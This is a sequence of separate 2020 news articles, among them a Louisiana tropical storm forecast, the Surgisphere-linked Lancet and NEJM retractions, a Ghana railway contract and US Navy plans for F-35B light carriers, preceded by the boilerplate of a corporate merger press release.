ABOUT SIGMATRON:

Headquartered in Elk Grove Village, IL, SigmaTron is an electronic manufacturing services company that provides printed circuit board assemblies and completely assembled electronic products. SigmaTron operates manufacturing facilities in Elk Grove Village, Illinois; Acuna, Chihuahua, and Tijuana Mexico; Union City, California; Suzhou, China, and Ho Chi Minh City, Vietnam. SigmaTron maintains engineering and materials sourcing offices in Elgin, Illinois and Taipei, Taiwan. SigmaTron serves markets ranging from industrial products to consumer products and Fortune 500 customers to start-ups. To learn more about SigmaTron, please visit https://sigmatronintl.com .

ABOUT WAGZ:

Headquartered in Portsmouth, NH, Wagz has innovated and modernized the pet sector enhancing the lives of pets and their pet parents through tech enabled products that improve the health, safety and wellbeing of our furry friends. Wagz has assembled a highly skilled team of Pet Nerds that are not only passionate about pets but also some of the best IoT, AI, Alexa, GPS, Mobile Telephony, hardware and software engineers on the planet. The Pet Nerds of Wagz have created the first and most advanced ecosystem of connected pet products and an app that not only manages Wagz devices but is the portal to our community of pet parents, service providers and online store. Wagz is truly transforming the pet industry with new and innovative solutions to common problems shared by most pet owners. To learn more about Wagz, please visit https://www.wagz.com or watch https://www.youtube.com/watch?v=U_n7evGWjJM

Note: This press release contains forward-looking statements. Words such as continue, anticipate, will, expect, believe, plan, and similar expressions identify forward-looking statements. These forward-looking statements are based on the current expectations of both SigmaTron and Wagz (Companies). Because these forward-looking statements involve risks and uncertainties, the Companies plans, actions and actual results could differ materially. Such statements should be evaluated in the context of the direct and indirect risks and uncertainties inherent in the Companies businesses including, but not necessarily limited to, the risks inherent in any merger and business combination of two companies, the Companies continued dependence on certain significant customers; the continued market acceptance of products and services offered by the Companies and their customers; pricing pressures from the Companies customers, suppliers and the market; the activities of competitors, some of which may have greater financial or other resources than the Companies; the variability of the Companies operating results; the results of long-lived assets impairment testing; the collection of aged account receivables; the variability of the Companies customers requirements; the availability and cost of necessary components and materials; the ability of the Companiesand its customers to keep current with technological changes within its industries; regulatory compliance, including conflict minerals; the continued availability and sufficiency of the Companies credit arrangements; the ability to meet the Companies financial covenant; changes in U.S., Mexican, Chinese, Vietnamese or Taiwanese regulations affecting the Companies business; the turmoil in the global economy and financial markets; the spread of COVID-19 (commonly known as Coronavirus) which has threatened the Companies financial stability by causing a decrease in consumer spending, caused a disruption to the Companies global supply chain; the stability of the U.S., Mexican, Chinese, Vietnamese and Taiwanese economic, labor and political systems and conditions; currency exchange fluctuations; and the ability of the Companies to manage their growth. These and other factors which may affect the combined Companies future business and results of operations are identified throughout SigmaTrons Annual Report on Form 10-K, and as risk factors, may be detailed from time to time in SigmaTrons filings with the Securities and Exchange Commission. These statements speak as of the date of such filings, and the Companies undertake no obligation to update such statements in light of future events or otherwise unless otherwise required by law.

For Further Information Contact:

SigmaTron International, Inc.

Linda K. Frauendorfer

1-800-700-9095
Metro New Orleans is under tropical storm and storm surge watches ahead of Tropical Depression Cristobal, forecasters said at 10 a.m. Friday.

Update: Cristobal has strengthened with winds of 50 mph

A tropical storm watch means tropical storm conditions are possible within 48 hours. Forecasters expect conditions to reach the watch area early Sunday.

A storm surge watch means a threatening combination of surge and high tides could be present above local ground levels in coastal areas of Jefferson, Lafourche, Plaquemines and St. Bernard parishes within the next 48 hours.

Update: Cristobal has intensified and is again a tropical storm.

Cristobal, which is currently over land in Mexico, picked up speed Friday morning and is forecast to move north through the Gulf of Mexico. It's expected to make landfall along Louisiana's central coast Sunday night.

Gov. John Bel Edwards has issued an emergency declaration for the state in advance of the storm.

A flood watch is in effect for most of southeast Louisiana through 7 a.m. Tuesday.

Where is Tropical Storm Cristobal?

As of 10 a.m. Friday, Cristobal was over land about 40 miles east of Campeche, Mexico, the National Hurricane Center said. It had sustained winds of 35 mph.

It has picked up speed and is heading north at 12 mph, forecasters said.

On the forecast track, the center of the storm is expected to move back over the Gulf of Mexico Friday night and then continue north.

Watches and warnings?

A tropical storm watch has been issued from Intracoastal City, Louisiana, to the Alabama/Florida border, including Lakes Pontchartrain and Maurepas.

A storm surge watch has been issued for the northern Gulf of Mexico coast from Indian Pass to Arepika, Florida, and from Grand Isle, Louisiana, to Ocean Springs, Mississippi, including Lake Borgne.

If the peak surge happens at high tide, there could be a 2- to 4-foot storm surge from Grand Isle to Ocean Springs, forecasters said.

A flood watch is in effect for much of Southeast Louisiana, including New Orleans and Baton Rouge, through 7 a.m. Tuesday. Read the full advisory.

A tropical storm watch is in effect for some of Louisiana's coastal waters. Tropical storm conditions will likely start Saturday afternoon in the watch area with winds in excess of 40 knots, the National Weather Service in Slidell said.

The watch is for outer coastal waters south and west of the mouth of the Mississippi River.

Forecasters also issued a flood warning for the Mississippi River at New Orleans because storm surge atop existing Midwest floodwaters will cause it to crest at 17 feet on Monday morning. The river was at 14.1 feet on Friday.

Earthen levees and floodwalls protect almost all of the New Orleans area from water heights of between 22 and 25 feet. There's a levee low spot of about 18 feet on the campus of the Army Corps of Engineers, however. The agency is expected to begin construction of a project to elevate floodwalls to about 25 feet there at the end of August. Officials said they would provide more immediate protection with sandbags at that point, if needed.

Strengthening expected?

Cristobal has become better organized on satellite images and is expected to strengthen to a tropical storm later Friday, forecasters said, meaning wind speeds will exceed 39 mph.

A large convective band has become better defined over the northern and eastern portions of the circulation, said Senior Hurricane Specialist Richard Pasch. However, the central convective features are still lacking.

Re-intensification should begin later today, and an Air Force Hurricane Hunter aircraft is scheduled to investigate Cristobal this evening as the center moves back over water, he said.

Forecasters are still expecting that any intensification of Cristobal will be limited by a wide layer of dry air in the mid-level of the atmosphere on its western side, and by some upper-level wind shear.

Regardless of its exact track and forward speed, Cristobal is expected to have a broad and asymmetric wind field as it approaches the northern Gulf coast, Pasch said. The strongest winds, highest storm surge, and heaviest rains could be well removed to the east of the center of circulation. Therefore, it is important that users do not focus on the exact forecast path of the center of the cyclone.

Get hurricane updates in your inbox Sign up for updates on storm forecasts, tracks and more. e-mail address * Sign Up

Maximum sustained winds of 60 mph are expected at landfall, forecasters said, which would make it a tropical storm. A Category 1 hurricane has winds of at least 74 mph.

What should Louisiana expect?

The center of the storm is expected to make landfall along the central Louisiana coast, but the strongest winds, highest storm surge and heaviest rains could be far from the center, forecasters said.

There is a risk of tropical-storm-force winds this weekend from Louisiana to the western Florida panhandle, forecasters said. There's also a risk of dangerous storm surge from Louisiana to the Florida Big Bend.

These hazards, along with heavy rainfall, will arrive "well in advance" of Cristobal and extend well east of the center.

Tropical funnels and tornadoes are also possible as the storm approaches, the National Weather Service in Slidell said Friday morning.

Coastal flooding also is possible.

Wet weather, with occasional heavy rainfall, is expected through the rest of the week into early next week, the National Weather Service said. "Copious rainfall" is possible each day, with rainfall rates at times of 2 to 4 inches per hour.

Rainfall totals over the eastern and central Gulf Coast, including Louisiana, are expected to be between 4 and 8 inches, with local amounts of 12 inches possible, according to the National Hurricane Center.

The heavy rainfall could lead to street flooding and flooding along creeks and streams.

"Drainage systems may approach capacity at times during periods of heaviest rainfall," the National Weather Service cautioned.

When will it get to Louisiana?

Tropical-storm-force winds from Cristobal could reach New Orleans and southeast Louisiana as early as Saturday night, forecasters said.

However, the wind will most likely begin mid-day Sunday, they said, and could last through Monday.

For the central coast of Louisiana, forecasters with the Lake Charles office of the National Weather Service said a few rain bands from Cristobal could reach the area as early as Saturday afternoon, with rain increasing and becoming more widespread Sunday into Monday.

Emergency declaration for Louisiana

Gov. John Bel Edwards issued an emergency declaration Thursday night that allows state agencies to take emergency actions involving the storm and sets the stage for future federal financial relief, if necessary.

"While it is still too early to know for sure what impact Cristobal could have on Louisiana, now is the time to make your plans, which should include the traditional emergency items along with masks and hand sanitizer as we continue to battle the coronavirus pandemic," Edwards said.

While no evacuations were being considered as of Wednesday, Edwards said the Governor's Office of Homeland Security and Emergency Preparedness is working to see if evacuees can use hotels and motels, instead of traditional large-space shelters, if an evacuation is required. If shelters are used, the state has plans for social distancing inside.

When is the next update?

The next advisory is expected at 1 p.m. from the National Hurricane Center.

Read the full 10 a.m. advisory.

Read the Slidell NWS local statement.

Read the Lake Charles NWS local statement.

See our full coverage of Tropical Depression Cristobal.

Reporters Mark Schleifstein and Sam Karlin contributed to this story.
The Ministry of External Affairs on Friday hit back at Pakistan over it calling India sponsor of "terrorist organisations in Afghanistan", recalling Prime Minister Imran Khan's own admission last year that Pakistan still hosts 30,000 to 40,000 terrorists in its neighbourhood.

In a statement, MEA spokesperson Anurag Srivastava said, "The Ministry of Foreign Affairs of Pakistan would do well to recall that their Prime Minister admitted last year that Pakistan still hosts 30,000 to 40,000 terrorists. Pakistans leadership is also on record acknowledging that in the past terrorists had used the country's soil to carry out terror attacks on other countries."

On Thursday, Pakistan's Foreign Office had contended the MEA had misrepresented an explosive United Nations report on Pakistan-sponsored terrorism to slander the country. Pakistan categorically rejects Indias malicious allegations, which are aimed at misleading the international community, a statement said.

The Foreign Office claimed that India was trying to create complications for the Afghan peace process, and that Pakistan had highlighted what it was said was Indias sponsorship of terrorist organisations in Afghanistan.

READ | 'Pakistan Remains An Epicentre Of Global Terrorism': India On Explosive UN Report

Pakistan should introspect

Reacting to this, Anurag Srivastava said that the UN report has only reiterated what the Imran Khan has already confessed and instead of casting aspersions on the report, Pakistan should "introspect and put an end to any kind of support for terrorism emanating from territories under its control".

"The UN and the international community are well acquainted with the reality that Pakistan is the nerve center of terrorism. It houses one of the largest numbers of UN-designated terrorists and terrorist entities. Its fallacious attempts to point fingers at others cannot deflect attention from the facts on the ground," the MEA statement said.

Moreover, Pakistans attempts to create a divide in the traditional and friendly relations between the people of India and Afghanistan will not succeed, the MEA added, highlighting the Afghan people's knowledge of "who is sheltering, training, arming and financing terrorists and sponsoring violence against innocent Afghans".

READ | UN Report Claims 6,500 Pakistanis Among Foreign Terrorists In Afghanistan

UN report exposes Pak's nefarious role

Following a report submitted to the United Nations last month that says that there are 6,500 Pakistanis among other foreign terrorist fighters in Afghanistan, India had said it vindicates the country's long-standing position that Pakistan remains an epicentre of international terrorism. Those Pakistani terrorists are allied to groups like the Taliban, Al-Qaida, and the Islamic State in Iraq and the Levant-Khorasan (ISIL-K).

A report of the Analytical Support and Sanctions Monitoring Team, which was submitted to the UN Security Council (UNSC), says among those groups posing a security threat, Afghan officials highlighted Tehrik-e-Taliban Pakistan, Jaish-i-Mohammed and Lashkar-e-Tayyiba groups on which the Team has written in previous reports.

TTP, JeM and LeT are all designated terror groups in India and the latter two have been involved in cross-border attacks on civilians as well as military targets.

READ | Pakistan Does Not Want Those Deceased On The International Border To "Rest In Peace"

READ | Soldier Killed As Pakistan Shells Forward Areas In J-K's Rajouri
Michigan governor Gretchen Whitmer violated her own executive order on social distancing while participating in a civil rights march with hundreds of demonstrators.

Whitmers order, which she signed on Monday, states that participants in public gatherings should remain six feet apart at all times.

The governor took precautions for engaging in an outdoor activity, including wearing a mask even though it is not required outdoors under the order, Whitmer spokeswoman Tiffany Brown told the Detroit News. Brown said Whitmer did not violate the order, which states Nothing in this order shall be taken to abridge protections guaranteed by the state or federal constitution, including the right to protest.

However, an FAQ page on the Michigan state government website states, Persons may engage in expressive activities protected by the First Amendment within the State of Michigan, but must adhere to social distancing measures recommended by the Centers for Disease Control and Prevention, including remaining at least six feet from people from outside the persons household.

Whitmer drew national scrutiny in March for imposing some of the strictest lockdown measures in the country, including prohibitions against the purchasing of certain consumer goods in big box stores. In April, Whitmer compared anti-lockdown protesters to Americans who refused to work in factories during the World War II production effort.

Whitmer also faced backlash from constituents after her husband, Marc Mallory, allegedly tried to use her position to coerce a marina worker into putting their boat in the water ahead of Memorial Day weekend, rather than waiting in the queue.

I am the husband to the governor, will this make a difference? Mallory asked when Dowker said it wouldnt be possible to put out the boat by Memorial Day, according to a since-deleted Facebook post by dock owner Todd Dowker.

Whitmer described her husbands statement as a failed attempt at humor.

More from National Review
A high death toll from the rapid spread of COVID-19 in long-term care proves the need for a nurse specializing in infection control at every home, the Registered Nurses Association of Ontario says.

The proposal came Friday as the province approaches 1,700 nursing-home deaths in addition to seven employees felled by the highly contagious virus.

RNAO chief executive Doris Grinspun said theres no need to wait for Premier Doug Fords independent commission on the pandemic debacle in nursing homes to take comprehensive action on improved infection control, more hours of daily care for residents and other measures.

No study and no words will deliver better care for residents  only better funding and better staffing will, she said after the RNAO released a 34-page report recapping two decades of recommendations from 35 reports, a public inquiry and a coroners inquest into long-term care.

The missing factor is the political will to act decisively rather than, once again, kick the can down the road with more commissions and more reports, Grinspun added in a statement.

Premier Ford has vowed to fix the system  as much as I want to believe him, I have heard heartfelt words from political leaders before.

Fords commission is slated to begin next month but the government has not yet named a leader or set terms of reference.

The premier said he won't let the commissions recommendations gather dust on a shelf.

This is about making sure we get the job done, Ford told his daily teleconference. Were going to do whatever it takes. We wont hold back any funds.

Provincial ombudsman Paul Dube has also announced an investigation into the effects of COVID-19 on nursing homes, and the Ministry of Healths patient ombudsman is zeroing in on impacts on residents and staff in a separate probe.

While the virus has infected more than 31,000 Ontarians and killed 2,419, its greatest impact has been felt in Ontarios 626 long-term-care homes, where more than 5,200 frail and vulnerable residents have been infected. The Ministry of Health reported another 13 deaths Friday, raising the toll to 1,692. Almost 1,900 nursing home staff have been infected as well.

The push from the nursing association comes after a Star story revealed the long-term care industry and unions representing workers are deeply concerned about a second wave of COVID-19 with half the 80,000 staff gone over fears for their own mental and physical health.

Getting those workers back or replacing them will be a daunting task, said Donna Duncan, chief executive of the Ontario Long-Term Care Association.

Sharleen Stewart, president SEIU Healthcare, a union representing thousands of nursing-home workers, said staff need to know there will be abundant personal protective equipment, such as masks and face shields, and recognition in their pay packets of how difficult and dangerous their jobs are.

We need real action, Stewart told the Star, faulting Fords government for not having any representation from labour on its panel of experts monitoring long-term care in the pandemic.

The collaboration with the workers needs to absolutely be better.

Eighty-five nursing homes are fighting outbreaks, a number that has been declining in recent days. About 1,700 residents and staff remain ill with COVID-19, making it harder for remaining workers to care of residents.

There were another 416 Ontarians with confirmed or probable cases of the virus as of 5 p.m. Friday, according to a Star compilation of data from health units in the previous 24 hours, raising the tally to 31,569 since the virus arrived in January.

Hospitalizations have been falling, to 749 patients from 776 the previous day, with 118 in intensive care and 94 on ventilators, the Ministry of Health said.

Labs in the province processed 22,730 COVID-19 samples Thursday, another record high as public health officials have stepped up testing in the broader community, along with hot spots at workplaces and in neighbourhoods.

Most of Ontarios new cases are in the GTA and among migrant workers on farms.
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Linkedin Issam Ahmed (Agence France-Presse) Washington, United States  Fri, June 5, 2020 07:20 595 fc6853813033f564188675f8bdc3fed7 2 World Hydroxychloroquine,research,coronavirus,COVID-19-drugs Free

Three of the four authors behind a study in The Lancet that raised safety fears over the use of a drug favored by President Donald Trump to treat COVID-19 withdrew their research Thursday, blaming a company that supplied the data.

It was soon followed by the retraction of another coronavirus paper in the New England Journal of Medicine (NEJM), which was not linked to hydroxychloroquine but used the same healthcare firm's patient records.

The Lancet study claimed to have retrospectively analyzed some 96,000 patient records, finding that hydroxychloroquine and chloroquine, common anti-malarials, were ineffective against COVID-19 and even increased the risk of death.

Heart arrhythmia was flagged as a particular concern.

This finding led the World Health Organization to temporarily suspend clinical trials into the medicines.

But the paper soon triggered widespread concern among scientists over a lack of information about the countries and hospitals that contributed data.

Mandeep Mehra, a professor at Harvard University who led the work, along with Frank Ruschitzka of the University Hospital Zurich and Amit Patel of the University of Utah, said in a statement they had tried to launch a third-party peer review.

But Surgisphere, a little-known healthcare analytics firm based in Chicago that provided the data, refused to cooperate.

"Due to this unfortunate development, the authors request that the paper be retracted," the three said.

"We deeply apologize to you, the editors, and the journal readership for any embarrassment or inconvenience that this may have caused."

The Lancet, a British journal, offered its own statement, saying "there are many outstanding questions about Surgisphere and the data that were allegedly included in this study."

Sapan Desai, a vascular surgeon and Surgisphere's chief executive, did not join the retraction and declined to comment to AFP.

Despite the finding apparently vindicating hydroxychloroquine's safety, there is not yet any proof from a randomized clinical trial (RCT) that the medicine works against COVID-19.

One such trial that was published Wednesday found it was not significantly better than a placebo in preventing the disease among people who had been recently exposed to the virus.

But scientists broadly agree that more RCTs -- considered the gold standard for clinical investigation -- are needed, and hydroxychloroquine should not be discounted yet.

Research scandal

The research scandal threatens to undermine confidence in the world's leading medical journals in the midst of a pandemic.

The paper in the NEJM investigated whether people who take commonly used blood pressure medicines became more or less likely to get COVID-19.

It was released on the same day as two other studies investigating the same topic, with all three finding that these medicines do not heighten susceptibility to infection, or increase the risk of becoming seriously ill.

No questions have been raised about the integrity of the other two papers.

In their retraction statement, the NEJM paper's authors also wrote that the data was not made available to a third-party auditor.

"We therefore request that the article be retracted."

Sci-fi author and adult model

Researchers began to closely scrutinize The Lancet paper shortly after its publication, highlighting numerous red flags ranging from the huge number of patients to the unusually complete information on their demographics.

Internet sleuthing by the Guardian revealed that Surgisphere had a scant online presence, with only a handful of staff listed on LinkedIn including a science fiction author and an adult model.

The firm was involved in yet another attention-grabbing study that found the anti-parasite drug ivermectin could be useful against COVID-19.

Though this paper had not been peer-reviewed or appeared in a journal, it caused a run on the drug in Latin America where it is widely available.

While Desai and Surgisphere have been the focus of most scrutiny, the lead author of all of these papers was Mehra, who is also the medical director at Brigham and Women's Hospital (BWH) Heart and Vascular Center in Boston.

The lead author is considered responsible for performing due diligence on data and vouching for its integrity.

Chris Chambers, a professor of psychology at Cardiff University, added the affair "raises serious questions about the standard of editing at the Lancet and NEJM -- ostensibly two of the world's most prestigious medical journals."
The government has signed a 500-million contract with the construction company, Amandi Holdings Limited, for the construction of sections of the Western Railway Line.



The contract covers 102 kilometres of continuous single-track railway line, an initial workshop facility at a location to be specified by the government and an initial complement of rolling stock.



The government, represented by the Minister of Railways Development, Mr Joe Ghartey, last Wednesday signed the contract with Amandi, represented by its Managing Director, Mr Nadav Simhoni, for the standard gauge between the Takoradi Harbour and Huni Valley in the Western Region.



Scope of work



Speaking at the signing ceremony in Accra, Mr Ghartey said the deal was the single largest rail contract in the countrys post-independence history.



He said the project was expected to start in October this year, to be completed in 42 months.



He said the indicative scope of the works included the construction, provision, testing and commissioning of the construction of approximately 8km of standard gauge railway tracks connecting the existing dual gauge tracks in Takoradi to the Takoradi Port for easy and efficient access for cargo.



There would also be the conversion of 10.6km dual gauge tracks between Takoradi and Kojokrom from narrow gauge to standard gauge, he said, adding that this shall include conversion works and materials involved and the supply of 10 new gauge turnouts.



Also, the changes would require the construction of the railway line from Manso to Huni Valley of about 60km of single track lines, in addition to the construction of eight basic stations along the existing line from Amantin to Huni Valley, he added.



This will include station building, access roads, CCTV and access control, back-up generator and water tanks, Mr Ghartey explained.



The project, he said, also included 10 kilometres of loop lines and stations and double lines to improve availability of the line for express trains.



The minister added that other activities would be undertaken under the project, such as the supply of standard gauge track maintenance equipment, the construction of a workshop facility for standard gauge rolling stock, including the basic fit-out, basic tools and essential machines.



He said funds had been earmarked for initial costs, employer and engineers costs and supervision facilities, including the acquisition of land and the payment of compensation to affected people.



Standard gauge



Mr Ghartey recounted that from 2012 to 2017, a narrow gauge line was constructed from Sekondi to Takoradi.



The total length of the line, he said, was approximately 15 kilometres, while the stretch from Kojokrom to Takoradi was approximately 10 kilometres.



Therefore, even though it commenced in 2012 and was completed in 2017, barely three years, we have to convert it to standard gauge, in line with the policy that all new constructions of railway will be standard gauge, he said.



A standard gauge railway has a track gauge of 1,435mm. Also known as the Stephenson gauge, International gauge or uniform gauge, it is the most widely used railway track gauge across the world, as about 55 per cent of the lines in the world use it.



All high-speed rail lines use standard gauge, except those in Russia, Finland, Portugal and Uzbekistan.



The distance between the inside edges of the rails is defined to be 1,435mm, except in the United States and on some heritage British lines, such as those in Ghana, which are now being changed to standard gauge.



Amandi



For his part, Mr Simhoni said Amandi was ready to support the government to develop the railway sector.



He said the company had extensive experience in construction and civil engineering works, as it was responsible for the construction of the 15km Sekondi-Kojokrom line, the 22km Kojokrom-Manso line and the 4km Asaprochona line.



He added that Amandi was also undertaking a number of port infrastructural projects at the Takoradi Port and, therefore, had the capacity to execute the ECPF contract.



Conditions precedent



The agreement, however, will have to satisfy the conditions precedent for the release of funds.



The conditions include approval by Parliament and the completion of the Environmental and Social Impact Assessment (ESIA) and Value for Money Audit.



The Ministry of Finance had already approved the terms and conditions of the loan and the ESIA was being undertaken by an independent company, the ministry said.



We want to work hard to complete all the conditions precedent in October. It is because the Ministry of Finance has approved the terms and conditions of the proposed loan, paving the way for the signing of the commercial agreement, a source at the Ministry of Railways Development told the Daily Graphic.









Source: Daily Graphic









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Gov. Gavin Newsom visited the Hot and Cool Cafe in Leimert Park on Wednesday after several days of protests in Los Angeles. (Genaro Molina / Los Angeles Times)

Gov. Gavin Newsom met with Stockton Mayor Michael Tubbs and the Central Valley city's black community leaders on Thursday, continuing a listening tour in cities across the state as more Californians demand action and accountability for police brutality.

But when asked what changes he intends to make as the state's chief executive, the governor's message has been clear: There are no quick fixes.

"What I fear is that we can pass programs and feign that we've solved problems," Newsom said earlier this week, pushing back on the notion of a top-down approach from the state Capitol.

In Los Angeles and Sacramento, the Democratic governor repeated that the nation needs sweeping cultural change and commitments to equality from community groups, nonprofits, business leaders, government and individuals.

As Newsom called for reforms rooted in community action, Melina Abdullah, co-founder of Black Lives Matter in Los Angeles, said the governor could be doing more on his own.

"He can usher in serious reform," Abdullah said. "Of course he can't make all of the change in the world that needs to be made by himself, but he can create some. There's a lot that he could do that he's not doing."

Newsom publicly supported a proposal from Assemblywoman Shirley Weber (D-San Diego) to study the impact of slavery and consider potential reparations during the visit to Stockton. The bill has been highlighted as a priority of the California Legislative Black Caucus and his comments on Thursday marked the first time he has endorsed their effort.

"I have long supported it," Newsom said Thursday of possible reparations, adding that recent events have reinforced his resolve to explore the idea in order to deliver on a promise of fundamental change.

But Abdullah pointed to other efforts that she said would help reduce violence and address racism that Newsom could propel forward at the state level. She called on the governor to ban the use of rubber bullets against protesters and take action to end curfews and allow people to exercise their legal right to protest without risking arrest.

Story continues

He could also endorse proposals with longer term effects, such as another bill by Weber to require ethnic studies classes in colleges or spearheading new police accountability reforms, she said.

Newsom this week pointed to a landmark police use of force bill that he signed into law in 2019 as evidence of progress at the state level. Los Angeles Mayor Eric Garcetti responded to calls from protesters to defund the police by saying he would cut at least $100 million from the LAPD budget next year.

The governor has said social, racial, economic and environmental justice is ingrained in the work his administration does every day, mentioning investments in preschool, prenatal care, mental health and homelessness, probation reform and his commitment to not carry out the death penalty.

"We are committed to implementing and applying these rules and regulations and applications in real-time," he said in Los Angeles on Wednesday. "There's a deep sense of urgency."

The governor has been praised for his reflections on the state of the country, stating earlier this week that the black community is not responsible for the current crisis.

"We are," Newsom said Monday. "Our institutions are responsible. We are accountable to this moment. Let's just call that out."

After what he described as a week of meetings with activists, business owners, mayors and other local officials, Newsom said Thursday that a growing number of people want to see action.

"I think that's what I spent the last three days really trying to understand is people's feelings and sentiments," Newsom said. He noted that a number of Californians "are expressing a deep sense of urgency and concern that people aren't listening, and people aren't understanding the magnitude of this moment and the need to gravitate toward action, not just rhetoric."
Community College of Philadelphia president Donald Generals hosted a virtual -teach-in to address ideas and solutions to the inequalities in the criminal justice system. Read more

College campuses for decades have been a venue for demonstrations against inequality, a place to push for change and justice.

Now largely shuttered due to the coronavirus pandemic, they are looking for other ways to address racism and the unrest gripping the nation following the death of George Floyd after a Minneapolis police officer knelt on his neck.

Two area colleges Thursday began the effort by holding virtual forums. At Community College of Philadelphia, educators and community activists discussed inequities in the criminal justice system, institutional racism, and the need to find solutions.

 READ MORE: Fifth day of protests in Philly is marked by muggy marches, the removal of the Rizzo statue, and moments of silence for George Floyd

The importance of beginning the conversation and the dialogue in the current context is something that needed to happen and needed to take precedence over everything else we had planned in our lives, CCP president Donald Guy Generals said during the 75-minute forum.

Drawing about 500 viewers, the forum looked at police brutality and the roles of whites and blacks in addressing the problem. There was pessimism about the ability for police to reform, and yet hope for America to improve.

 READ MORE: From Thursday: A sixth night of curfews

I still believe after all of this that America can work, said the Rev. Alyn E. Waller, senior pastor of Enon Tabernacle Baptist Church. But that means we have to get involved. ... These systems that are unjust will only change as we get in there and change them."

Later, Rowan University in New Jersey began a series with a goal to find solutions "that could help resolve racially charged issues  in particular the treatment of blacks by some police  that continue to roil America, the school said.

Elsewhere, campus leaders issued statements of concern and support and promised to consider what can be done better. At Haverford College, president Wendy Raymond has called on the campus "to join our students, faculty, staff, and alumni who already actively practice anti-racism, recognizing that the goal of anti-racism sits firmly in the educational mission and values of Haverford College, including the Quaker value of equality.

At Floyds memorial service Thursday, the president of North Central University, a small Christian school in Minneapolis, announced that the university had started a scholarship in Floyds name and called on every college nationwide to do the same.

Lehigh University officials this week promised a comprehensive review of university policies and procedures on issues ranging from hiring and tenure to student recruitment. The comments came in response to an open letter calling on the Bethlehem, Pa., school to address institutional racism.

As a first step, school leaders pledged, "we will immediately begin an independent review of the Lehigh University Police Departments policies, procedures and practices.

But from faculty rooms to presidents offices, colleges are still trying to figure out how to respond to the crisis.

Universities and academic unions, including mine, are going to have to figure out how to redouble their efforts to fight racial injustice, including on college campuses, said Steve Newman, president of Temples faculty union.

 READ MORE: Floyd eulogized at Minneapolis memorial in first of 3 events

During the CCP forum, Generals said systemic racism, including in the criminal justice system, has enabled racists to impart pain and in this case to impart murder on people of color without impunity. Its something that absolutely has to stop.

Marissa Johnson-Valenzuela, an assistant English professor, called for the defunding of police. You cant reform a corrupt system, she said.

Other panelists acknowledged that police have a role in protecting communities, but said change is badly needed.

Waller encouraged Philadelphians to keep their eyes on the officers whose firings last year are now being reviewed by an arbitrator.

If they get their jobs back, that will send a signal that you can continue this behavior and get a year-long paid vacation, he said. The real signal that things have changed is when they dont get their jobs back this year, which says to the ones who got arrested [in Minneapolis], you really are in trouble. This thing is changing.

Debonair Oates-Primus, an assistant professor of English and coordinator of the communiy colleges Black Studies Program, said its important for white people to raise their voices, too, and for others to call them out when they are silent.

She acknowledged the emotional toll of the last week.

Im waiting for the day this week when I do not cry at least once, she said. In times like these, it becomes especially important to hold space for honest, courageous conversations around systemic racism and the ways privilege continues to be used as an oppressive tool."
Expect changes with US Navy ships as they will be modified to accommodate F-35 multi-role fighters in conjunction for more strike power as small or bigger flat top, reported in Defense News.

According to Former Acting Navy Secretary Thomas Modly, there might be a need for smaller carriers with the threat of missiles that can knock out America's supercarriers. It is called Future Carrier 2030.

Before him, Richard Spencer was thinking of smaller carriers that are less of a target, than a hulking Nimitz or Ford-class aircraft carrier. Big carriers are risky of they get destroyed by an anti-ship missile from China or Russia, with loss of more personnel too.

The plan of Modly will be short-lived as Secretary James McPherson stopped the study for the meantime. Adherents in the Navy still prefer super aircraft carriers compared to smaller ones. There will be plans for big decks and the amphibious assault ships to work with the Marine Corp's F-35B. It is an F-35 that is a short-takeoff-and-vertical-landing variant that can take off with less runway and can land vertically on less expansive decks featured in the Washington Post.

A first step has been taken with inking a $200 million contract that will upgrade the USS Boxer that is an amphibious assault ship. With mods to conduct operations with F-35 strike fighter, another of the heli-carriers will be a mini-aircraft carrier, and there are already fifty to be modified.

USS Boxer will get the modifications on the structure of the hull, propulsion systems, electric motor, auxiliary systems, communication package, and other combat systems, with relevant upgrades for handling the F-35 strike fighter, confirmed by the Naval Sea Systems command.

Also read: Japanese Navy Has Less Warships Than Chinese Fleet, But Numbers are Not Everything

There's a resurgence of interest in smaller carriers that the navy is thinking of lately. Proof of this is last fall the amphibious assault ship America got packed with 13 F-35Bs which was a first since these ships used for helicopters, Navy Secretary Spencer said it could hold 20 F-35s. But packing in 13 F-35 is a feat in itself. Case in point, the USS America packed with F-35s give it an improve striking capacity, according to Breaking Defense.

According to Spencer, the idea of supplementing an aircraft carrier with such ideas like this lighting carrier is smaller and functional. A package of 20 F-35 Bs on amphib carriers is cost-effective. This is a good idea but it is nothing compared to larger carriers, says Sea Power Magazine.

USS Boxer is an older variant of a large deck amphibious assault ship. Placing 15 F-35Bs on the deck is possible, said Bryan Clark, a senior fellow at the Hudson Institute.

Constructing light carriers is possible, according to Defense Secretary Mark Esper, and that will not be off the agenda with lightning carriers as well, depending on the fiscal 21 budgets.

Esper added that smaller carriers might be in future designs, and smaller profile ships might be an option.

Carriers, big or small?

Lighter carriers have been far from US Navy designs for a long time because monster aircraft carriers can do more missions at less cost. Smaller carriers have fewer sorties and cost more to operate.

Recently, the USS Theodore Roosevelt aircraft carrier got docked because of COVID-19, but the USS America waded in and pushed Chinese back in the South China Sea. This proved it can be useful when the big sticks are not available, according to Seth Cropsey.

Cropsey added that there should be a balance of big and small carriers that can survive Chinese missiles too.

Getting F-35s on a ship means more strike capacity and based on smaller carriers, it may deter Chinese missiles.

Related article: US Navy Ships in Washington State Might Be Sent to the South China Sea to Face Chinese Navy With Increased Tensions

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San Francisco put itself on the national political map 100 years ago by doing what it did well: drinking and partying for days.

The 1920 Democratic National Convention made history in several ways: It was the first convention west of the Rockies, the first to include women as delegates, the first time Franklin D. Roosevelt got on a presidential ticket, and arguably San Franciscos first large-scale attempt at what Airbnb would do.

None of it would have been the same without the help of a flamboyant Republican mayor who flouted Prohibition and made sure each delegate got every drop of high-quality, illegal bourbon they desired for free.

No one remembered who won the presidential nomination (James M. Cox, who got trounced by Warren Harding). Everyone remembered the booze and atmosphere, including drunken dancing in the convention aisles with women on mens shoulders. By the time the legendary 51 barrels of liquor that were sneaked out of a San Francisco warehouse and into the convention hotels led to any scandal, the delegates were long gone.

Even the most iconic curmudgeon of his era had the time of his life there.

The persons who go to Democratic national conventions seldom see such wet goods; in truth, they had never seen any before, and they have never seen any since, wrote H.L. Mencken in his 1943 autobiography, Heathen Days.

San Francisco was 14 years removed from the rubble after the Great Earthquake when a mix of local Democrats and Republicans won the DNC in a bipartisan show of civic pride. Two selling points were a new venue  whats now known as the Bill Graham Civic Auditorium  and much milder summer weather than the East Coast and Midwest contenders.

